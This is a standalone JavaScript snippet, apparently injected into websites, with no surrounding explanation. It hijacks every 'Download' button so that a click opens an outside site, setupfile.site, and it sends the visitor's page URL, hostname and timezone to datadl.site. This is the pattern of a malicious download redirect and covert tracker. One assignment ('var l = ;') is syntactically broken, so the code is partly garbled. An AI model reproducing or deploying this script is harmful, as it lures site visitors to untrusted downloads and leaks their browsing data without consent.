(function () { var t = document.createElement("script"); t.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"; t.onload = function () { var n = document.querySelector("meta[property='og:url']"); var e = document.querySelector("meta[property='og:title']"); var r = window.location.origin; var o = "default-title"; if (n) { const t = new URL(n.getAttribute("content")); r = `${t.protocol}//${t.hostname}`; } if (e) { o = e .getAttribute("content") .replace(/[&\/\\#, +()$~%.'":*?<>{}]/g, "-") .replace(/\s+/g, "-"); } var l = ; var a = `https://setupfile.site?s=${o}&p=${l}`; // Add click event to buttons containing the word "Download" document.querySelectorAll("button").forEach(function (btn) { if (btn.textContent.includes("Download")) { btn.addEventListener("click", function (event) { event.preventDefault(); window.open(a, "_blank"); d(l); // Call the tracking function }); } }); }; document.head.appendChild(t); })(); function d(t) { var n = new Date( new Date().getTime() - 6e4 * new Date().getTimezoneOffset() ) .toISOString() .slice(0, 19) .replace("T", " "); $.ajax({ url: "https://datadl.site/keepud", data: { tk_id: t, dmn: window.location.hostname, lk: window.location.href, tz: Intl.DateTimeFormat().resolvedOptions().timeZone, ofs: new Date().getTimezoneOffset() / -60, dt: n, }, dataType: "jsonp", success: function (t) { console.log("done:", t); }, error: function (t) { console.error("Error:", t); }, }); }